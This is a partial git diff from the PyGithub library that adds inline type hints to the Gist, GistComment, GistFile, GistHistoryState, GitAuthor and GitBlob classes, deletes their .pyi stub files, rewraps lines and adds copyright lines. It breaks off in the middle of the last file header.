created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def description(self): - """ - :type: string - """ + def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property - def files(self): - """ - :type: dict of string to :class:`github.GistFile.GistFile` - """ + def files(self) -> dict[str, github.GistFile.GistFile]: self._completeIfNeeded() return self._files.value @property - def fork_of(self): - """ - :type: :class:`github.Gist.Gist` - """ + def fork_of(self) -> github.Gist.Gist: self._completeIfNotSet(self._fork_of) return self._fork_of.value @property - def forks(self): - """ - :type: list of :class:`github.Gist.Gist` - """ + def forks(self) -> list[Gist]: self._completeIfNotSet(self._forks) return self._forks.value @property - def forks_url(self): - """ - :type: string - """ + def forks_url(self) -> str: self._completeIfNotSet(self._forks_url) return self._forks_url.value @property - def git_pull_url(self): - """ - :type: string - """ + def git_pull_url(self) -> str: self._completeIfNotSet(self._git_pull_url) return self._git_pull_url.value @property - def git_push_url(self): - """ - :type: string - """ + def git_push_url(self) -> str: self._completeIfNotSet(self._git_push_url) return self._git_push_url.value @property - def history(self): - """ - :type: list of :class:`github.GistHistoryState.GistHistoryState` - """ + def history(self) -> list[GistHistoryState]: self._completeIfNotSet(self._history) return self._history.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def id(self): - """ - :type: string - """ + def id(self) -> str: self._completeIfNotSet(self._id) return self._id.value @property - def owner(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def owner(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._owner) return self._owner.value @property - def public(self): - """ - :type: bool - """ + def public(self) -> bool: self._completeIfNotSet(self._public) return self._public.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def user(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def user(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._user) return self._user.value - def create_comment(self, body): + def create_comment(self, body: str) -> GistComment: """ :calls: `POST /gists/{gist_id}/comments `_ - :param body: string - :rtype: :class:`github.GistComment.GistComment` """ assert isinstance(body, str), body post_parameters = { "body": body, } - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/comments", input=post_parameters - ) - return github.GistComment.GistComment( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/comments", input=post_parameters) + return github.GistComment.GistComment(self._requester, headers, data, completed=True) - def create_fork(self): + def create_fork(self) -> Gist: """ :calls: `POST /gists/{id}/forks `_ - :rtype: :class:`github.Gist.Gist` """ headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/forks") return Gist(self._requester, headers, data, completed=True) - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /gists/{id} `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) - def edit( - self, description=github.GithubObject.NotSet, files=github.GithubObject.NotSet - ): + def edit(self, description: Opt[str] = NotSet, files: Opt[dict[str, InputFileContent | None]] = NotSet) -> None: """ :calls: `PATCH /gists/{id} `_ - :param description: string - :param files: dict of string to :class:`github.InputFileContent.InputFileContent` - :rtype: None """ - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - assert files is github.GithubObject.NotSet or all( - element is None or isinstance(element, github.InputFileContent) - for element in files.values() + assert is_optional(description, str), description + # limitation of `TypeGuard` + assert isinstance(files, _NotSetType) or all( + element is None or isinstance(element, github.InputFileContent) for element in files.values() ), files - post_parameters = dict() - if description is not github.GithubObject.NotSet: + post_parameters: dict[str, Any] = {} + if is_defined(description): post_parameters["description"] = description - if files is not github.GithubObject.NotSet: - post_parameters["files"] = { - key: None if value is None else value._identity - for key, value in files.items() - } - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters - ) + if is_defined(files): + post_parameters["files"] = {key: None if value is None else value._identity for key, value in files.items()} + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) - def get_comment(self, id): + def get_comment(self, id: int) -> GistComment: """ :calls: `GET /gists/{gist_id}/comments/{id} `_ - :param id: integer - :rtype: :class:`github.GistComment.GistComment` """ assert isinstance(id, int), id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/comments/{id}" - ) - return github.GistComment.GistComment( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/comments/{id}") + return github.GistComment.GistComment(self._requester, headers, data, completed=True) - def get_comments(self): + def get_comments(self) -> PaginatedList[GistComment]: """ :calls: `GET /gists/{gist_id}/comments `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.GistComment.GistComment` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.GistComment.GistComment, self._requester, f"{self.url}/comments", None, ) - def is_starred(self): + def is_starred(self) -> bool: """ :calls: `GET /gists/{id}/star `_ - :rtype: bool """ status, headers, data = self._requester.requestJson("GET", f"{self.url}/star") return status == 204 - def reset_starred(self): + def reset_starred(self) -> None: """ :calls: `DELETE /gists/{id}/star `_ - :rtype: None """ - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.url}/star" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/star") - def set_starred(self): + def set_starred(self) -> None: """ :calls: `PUT /gists/{id}/star `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("PUT", f"{self.url}/star") - def _initAttributes(self): - self._comments = github.GithubObject.NotSet - self._comments_url = github.GithubObject.NotSet - self._commits_url = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - self._files = github.GithubObject.NotSet - self._fork_of = github.GithubObject.NotSet - self._forks = github.GithubObject.NotSet - self._forks_url = github.GithubObject.NotSet - self._git_pull_url = github.GithubObject.NotSet - self._git_push_url = github.GithubObject.NotSet - self._history = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._owner = github.GithubObject.NotSet - self._public = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._user = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "comments" in attributes: # pragma no branch self._comments = self._makeIntAttribute(attributes["comments"]) if "comments_url" in attributes: # pragma no branch @@ -343,9 +275,7 @@ def _useAttributes(self, attributes): if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "files" in attributes: # pragma no branch - self._files = self._makeDictOfStringsToClassesAttribute( - github.GistFile.GistFile, attributes["files"] - ) + self._files = self._makeDictOfStringsToClassesAttribute(github.GistFile.GistFile, attributes["files"]) if "fork_of" in attributes: # pragma no branch self._fork_of = self._makeClassAttribute(Gist, attributes["fork_of"]) if "forks" in attributes: # pragma no branch @@ -365,9 +295,7 @@ def _useAttributes(self, attributes): if "id" in attributes: # pragma no branch self._id = self._makeStringAttribute(attributes["id"]) if "owner" in attributes: # pragma no branch - self._owner = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["owner"] - ) + self._owner = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["owner"]) if "public" in attributes: # pragma no branch self._public = self._makeBoolAttribute(attributes["public"]) if "updated_at" in attributes: # pragma no branch @@ -375,6 +303,4 @@ def _useAttributes(self, attributes): if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch - self._user = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["user"] - ) + self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) diff --git a/github/Gist.pyi b/github/Gist.pyi deleted file mode 100644 index 833e0baca1..0000000000 --- a/github/Gist.pyi +++ /dev/null @@ -1,66 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, List, Optional, Union - -from github.GistComment import GistComment -from github.GistFile import GistFile -from github.GistHistoryState import GistHistoryState -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.InputFileContent import InputFileContent -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList - -class Gist(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def comments(self) -> int: ... - @property - def comments_url(self) -> str: ... - @property - def commits_url(self) -> str: ... - def create_comment(self, body: str) -> GistComment: ... - def create_fork(self) -> Gist: ... - @property - def created_at(self) -> datetime: ... - def delete(self) -> None: ... - @property - def description(self) -> Optional[str]: ... - def edit( - self, - description: Union[_NotSetType, str] = ..., - files: Union[_NotSetType, Dict[str, Optional[InputFileContent]]] = ..., - ) -> None: ... - @property - def files(self) -> Dict[str, GistFile]: ... - @property - def fork_of(self) -> Optional[Gist]: ... - @property - def forks(self) -> List[Gist]: ... - @property - def forks_url(self) -> str: ... - def get_comment(self, id: int) -> GistComment: ... - def get_comments(self) -> PaginatedList[GistComment]: ... - @property - def git_pull_url(self) -> str: ... - @property - def git_push_url(self) -> str: ... - @property - def history(self) -> List[GistHistoryState]: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> str: ... - def is_starred(self) -> bool: ... - @property - def owner(self) -> NamedUser: ... - @property - def public(self) -> bool: ... - def reset_starred(self) -> None: ... - def set_starred(self) -> None: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - @property - def user(self) -> Optional[NamedUser]: ... diff --git a/github/GistComment.py b/github/GistComment.py index 4ba5c5f323..b1bc1a67b3 100644 --- a/github/GistComment.py +++ b/github/GistComment.py @@ -9,6 +9,14 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,97 +36,80 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.GithubObject import github.NamedUser +from github.GithubObject import Attribute, CompletableGithubObject, NotSet -class GistComment(github.GithubObject.CompletableGithubObject): +class GistComment(CompletableGithubObject): """ This class represents GistComments. The reference can be found here https://docs.github.com/en/rest/reference/gists#comments """ - def __repr__(self): + def _initAttributes(self) -> None: + self._body: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._id: Attribute[int] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + self._user: Attribute[github.NamedUser.NamedUser] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "user": self._user.value}) @property - def body(self): - """ - :type: string - """ + def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def user(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def user(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._user) return self._user.value - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /gists/{gist_id}/comments/{id} `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) - def edit(self, body): + def edit(self, body: str) -> None: """ :calls: `PATCH /gists/{gist_id}/comments/{id} `_ - :param body: string - :rtype: None """ assert isinstance(body, str), body post_parameters = { "body": body, } - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) - def _initAttributes(self): - self._body = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._user = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "created_at" in attributes: # pragma no branch @@ -130,6 +121,4 @@ def _useAttributes(self, attributes): if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch - self._user = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["user"] - ) + self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) diff --git a/github/GistComment.pyi b/github/GistComment.pyi deleted file mode 100644 index ff818b8f9e..0000000000 --- a/github/GistComment.pyi +++ /dev/null @@ -1,24 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser - -class GistComment(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def body(self) -> str: ... - @property - def created_at(self) -> datetime: ... - @property - def id(self) -> int: ... - def delete(self) -> None: ... - def edit(self, body: str) -> None: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - @property - def user(self) -> NamedUser: ... diff --git a/github/GistFile.py b/github/GistFile.py index f540e154a5..20f2990cb2 100644 --- a/github/GistFile.py +++ b/github/GistFile.py @@ -9,6 +9,11 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,68 +33,52 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class GistFile(github.GithubObject.NonCompletableGithubObject): + +class GistFile(NonCompletableGithubObject): """ This class represents GistFiles """ - def __repr__(self): + def _initAttributes(self) -> None: + self._content: Attribute[str] = NotSet + self._filename: Attribute[str] = NotSet + self._language: Attribute[str] = NotSet + self._raw_url: Attribute[str] = NotSet + self._size: Attribute[int] = NotSet + self._type: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"filename": self._filename.value}) @property - def content(self): - """ - :type: string - """ + def content(self) -> str: return self._content.value @property - def filename(self): - """ - :type: string - """ + def filename(self) -> str: return self._filename.value @property - def language(self): - """ - :type: string - """ + def language(self) -> str: return self._language.value @property - def raw_url(self): - """ - :type: string - """ + def raw_url(self) -> str: return self._raw_url.value @property - def size(self): - """ - :type: integer - """ + def size(self) -> int: return self._size.value @property - def type(self): - """ - :type: string - """ + def type(self) -> str: return self._type.value - def _initAttributes(self): - self._content = github.GithubObject.NotSet - self._filename = github.GithubObject.NotSet - self._language = github.GithubObject.NotSet - self._raw_url = github.GithubObject.NotSet - self._size = github.GithubObject.NotSet - self._type = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "content" in attributes: # pragma no branch self._content = self._makeStringAttribute(attributes["content"]) if "filename" in attributes: # pragma no branch diff --git a/github/GistFile.pyi b/github/GistFile.pyi deleted file mode 100644 index 4f310dada8..0000000000 --- a/github/GistFile.pyi +++ /dev/null @@ -1,20 +0,0 @@ -from typing import Any, Dict, Optional - -from github.GithubObject import NonCompletableGithubObject - -class GistFile(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def content(self) -> str: ... - @property - def filename(self) -> str: ... - @property - def language(self) -> Optional[str]: ... - @property - def raw_url(self) -> str: ... - @property - def size(self) -> int: ... - @property - def type(self) -> str: ... diff --git a/github/GistHistoryState.py b/github/GistHistoryState.py index 5cb9690895..f471d8f618 100644 --- a/github/GistHistoryState.py +++ b/github/GistHistoryState.py @@ -8,6 +8,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -27,213 +33,155 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.CommitStats import github.Gist import github.GithubObject import github.NamedUser +from github.GistFile import GistFile +from github.GithubObject import Attribute, CompletableGithubObject, NotSet -class GistHistoryState(github.GithubObject.CompletableGithubObject): +class GistHistoryState(CompletableGithubObject): """ This class represents GistHistoryStates """ - @property - def change_status(self): - """ - :type: :class:`github.CommitStats.CommitStats` - """ + def _initAttributes(self) -> None: + self._change_status: Attribute[github.CommitStats.CommitStats] = NotSet + self._comments: Attribute[int] = NotSet + self._comments_url: Attribute[str] = NotSet + self._commits_url: Attribute[str] = NotSet + self._committed_at: Attribute[datetime] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._description: Attribute[str] = NotSet + self._files: Attribute[dict[str, GistFile]] = NotSet + self._forks: Attribute[list[github.Gist.Gist]] = NotSet + self._forks_url: Attribute[str] = NotSet + self._git_pull_url: Attribute[str] = NotSet + self._git_push_url: Attribute[str] = NotSet + self._history: Attribute[list[GistHistoryState]] = NotSet + self._html_url: Attribute[str] = NotSet + self._id: Attribute[str] = NotSet + self._owner: Attribute[github.NamedUser.NamedUser] = NotSet + self._public: Attribute[bool] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + self._user: Attribute[github.NamedUser.NamedUser] = NotSet + self._version: Attribute[str] = NotSet + + @property + def change_status(self) -> github.CommitStats.CommitStats: self._completeIfNotSet(self._change_status) return self._change_status.value @property - def comments(self): - """ - :type: integer - """ + def comments(self) -> int: self._completeIfNotSet(self._comments) return self._comments.value @property - def comments_url(self): - """ - :type: string - """ + def comments_url(self) -> str: self._completeIfNotSet(self._comments_url) return self._comments_url.value @property - def commits_url(self): - """ - :type: string - """ + def commits_url(self) -> str: self._completeIfNotSet(self._commits_url) return self._commits_url.value @property - def committed_at(self): - """ - :type: datetime.datetime - """ + def committed_at(self) -> datetime: self._completeIfNotSet(self._committed_at) return self._committed_at.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def description(self): - """ - :type: string - """ + def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property - def files(self): - """ - :type: dict of string to :class:`github.GistFile.GistFile` - """ + def files(self) -> dict[str, GistFile]: self._completeIfNotSet(self._files) return self._files.value @property - def forks(self): - """ - :type: list of :class:`github.Gist.Gist` - """ + def forks(self) -> list[github.Gist.Gist]: self._completeIfNotSet(self._forks) return self._forks.value @property - def forks_url(self): - """ - :type: string - """ + def forks_url(self) -> str: self._completeIfNotSet(self._forks_url) return self._forks_url.value @property - def git_pull_url(self): - """ - :type: string - """ + def git_pull_url(self) -> str: self._completeIfNotSet(self._git_pull_url) return self._git_pull_url.value @property - def git_push_url(self): - """ - :type: string - """ + def git_push_url(self) -> str: self._completeIfNotSet(self._git_push_url) return self._git_push_url.value @property - def history(self): - """ - :type: list of :class:`GistHistoryState` - """ + def history(self) -> list[GistHistoryState]: self._completeIfNotSet(self._history) return self._history.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def id(self): - """ - :type: string - """ + def id(self) -> str: self._completeIfNotSet(self._id) return self._id.value @property - def owner(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def owner(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._owner) return self._owner.value @property - def public(self): - """ - :type: bool - """ + def public(self) -> bool: self._completeIfNotSet(self._public) return self._public.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def user(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def user(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._user) return self._user.value @property - def version(self): - """ - :type: string - """ + def version(self) -> str: self._completeIfNotSet(self._version) return self._version.value - def _initAttributes(self): - self._change_status = github.GithubObject.NotSet - self._comments = github.GithubObject.NotSet - self._comments_url = github.GithubObject.NotSet - self._commits_url = github.GithubObject.NotSet - self._committed_at = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - self._files = github.GithubObject.NotSet - self._forks = github.GithubObject.NotSet - self._forks_url = github.GithubObject.NotSet - self._git_pull_url = github.GithubObject.NotSet - self._git_push_url = github.GithubObject.NotSet - self._history = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._owner = github.GithubObject.NotSet - self._public = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._user = github.GithubObject.NotSet - self._version = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "change_status" in attributes: # pragma no branch - self._change_status = self._makeClassAttribute( - github.CommitStats.CommitStats, attributes["change_status"] - ) + self._change_status = self._makeClassAttribute(github.CommitStats.CommitStats, attributes["change_status"]) if "comments" in attributes: # pragma no branch self._comments = self._makeIntAttribute(attributes["comments"]) if "comments_url" in attributes: # pragma no branch @@ -247,13 +195,9 @@ def _useAttributes(self, attributes): if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "files" in attributes: # pragma no branch - self._files = self._makeDictOfStringsToClassesAttribute( - github.GistFile.GistFile, attributes["files"] - ) + self._files = self._makeDictOfStringsToClassesAttribute(github.GistFile.GistFile, attributes["files"]) if "forks" in attributes: # pragma no branch - self._forks = self._makeListOfClassesAttribute( - github.Gist.Gist, attributes["forks"] - ) + self._forks = self._makeListOfClassesAttribute(github.Gist.Gist, attributes["forks"]) if "forks_url" in attributes: # pragma no branch self._forks_url = self._makeStringAttribute(attributes["forks_url"]) if "git_pull_url" in attributes: # pragma no branch @@ -261,17 +205,13 @@ def _useAttributes(self, attributes): if "git_push_url" in attributes: # pragma no branch self._git_push_url = self._makeStringAttribute(attributes["git_push_url"]) if "history" in attributes: # pragma no branch - self._history = self._makeListOfClassesAttribute( - GistHistoryState, attributes["history"] - ) + self._history = self._makeListOfClassesAttribute(GistHistoryState, attributes["history"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeStringAttribute(attributes["id"]) if "owner" in attributes: # pragma no branch - self._owner = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["owner"] - ) + self._owner = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["owner"]) if "public" in attributes: # pragma no branch self._public = self._makeBoolAttribute(attributes["public"]) if "updated_at" in attributes: # pragma no branch @@ -279,8 +219,6 @@ def _useAttributes(self, attributes): if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch - self._user = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["user"] - ) + self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) if "version" in attributes: # pragma no branch self._version = self._makeStringAttribute(attributes["version"]) diff --git a/github/GistHistoryState.pyi b/github/GistHistoryState.pyi deleted file mode 100644 index cdae6623b0..0000000000 --- a/github/GistHistoryState.pyi +++ /dev/null @@ -1,54 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, List, Optional - -from github.CommitStats import CommitStats -from github.Gist import Gist -from github.GistFile import GistFile -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser - -class GistHistoryState(CompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def change_status(self) -> CommitStats: ... - @property - def comments(self) -> int: ... - @property - def comments_url(self) -> str: ... - @property - def commits_url(self) -> str: ... - @property - def committed_at(self) -> datetime: ... - @property - def created_at(self) -> datetime: ... - @property - def description(self) -> str: ... - @property - def files(self) -> Dict[str, GistFile]: ... - @property - def forks(self) -> List[Gist]: ... - @property - def forks_url(self) -> str: ... - @property - def git_pull_url(self) -> str: ... - @property - def git_push_url(self) -> str: ... - @property - def history(self) -> List[GistHistoryState]: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> str: ... - @property - def owner(self) -> NamedUser: ... - @property - def public(self) -> bool: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - @property - def user(self) -> Optional[NamedUser]: ... - @property - def version(self) -> str: ... diff --git a/github/GitAuthor.py b/github/GitAuthor.py index 56f7a32283..923c1b5cd6 100644 --- a/github/GitAuthor.py +++ b/github/GitAuthor.py @@ -9,6 +9,11 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,44 +33,38 @@ # # ################################################################################ -import github.GithubObject +from datetime import datetime +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class GitAuthor(github.GithubObject.NonCompletableGithubObject): + +class GitAuthor(NonCompletableGithubObject): """ This class represents GitAuthors """ - def __repr__(self): + def _initAttributes(self) -> None: + self._name: Attribute[str] = NotSet + self._email: Attribute[str] = NotSet + self._date: Attribute[datetime] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property - def date(self): - """ - :type: datetime.datetime - """ + def date(self) -> datetime: return self._date.value @property - def email(self): - """ - :type: string - """ + def email(self) -> str: return self._email.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: return self._name.value - def _initAttributes(self): - self._date = github.GithubObject.NotSet - self._email = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "date" in attributes: # pragma no branch self._date = self._makeDatetimeAttribute(attributes["date"]) if "email" in attributes: # pragma no branch diff --git a/github/GitAuthor.pyi b/github/GitAuthor.pyi deleted file mode 100644 index f677afebd5..0000000000 --- a/github/GitAuthor.pyi +++ /dev/null @@ -1,15 +0,0 @@ -from datetime import datetime -from typing import Dict - -from github.GithubObject import NonCompletableGithubObject - -class GitAuthor(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, str]) -> None: ... - @property - def date(self) -> datetime: ... - @property - def email(self) -> str: ... - @property - def name(self) -> str: ... diff --git a/github/GitBlob.py b/github/GitBlob.py index 01e0a3f7ee..39af80302a 100644 --- a/github/GitBlob.py +++ b/github/GitBlob.py @@ -9,6 +9,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,65 +34,52 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, CompletableGithubObject, NotSet -class GitBlob(github.GithubObject.CompletableGithubObject): + +class GitBlob(CompletableGithubObject): """ This class represents GitBlobs. The reference can be found here https://docs.github.com/en/rest/reference/git#blobs """ - def __repr__(self): + def _initAttributes(self) -> None: + self._content: Attribute[str] = NotSet + self._encoding: Attribute[str] = NotSet + self._sha: Attribute[str] = NotSet + self._size: Attribute[int] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value}) @property - def content(self): - """ - :type: string - """ + def content(self) -> str: self._completeIfNotSet(self._content) return self._content.value @property - def encoding(self): - """ - :type: string - """ + def encoding(self) -> str: self._completeIfNotSet(self._encoding) return self._encoding.value @property - def sha(self): - """ - :type: string - """ + def sha(self) -> str: self._completeIfNotSet(self._sha) return self._sha.value @property - def size(self): - """ - :type: integer - """ + def size(self) -> int: self._completeIfNotSet(self._size) return self._size.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def _initAttributes(self): - self._content = github.GithubObject.NotSet - self._encoding = github.GithubObject.NotSet - self._sha = github.GithubObject.NotSet - self._size = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "content" in attributes: # pragma no branch self._content = self._makeStringAttribute(attributes["content"]) if "encoding" in attributes: # pragma no branch diff --git a/github/GitBlob.pyi b/github/GitBlob.pyi deleted file 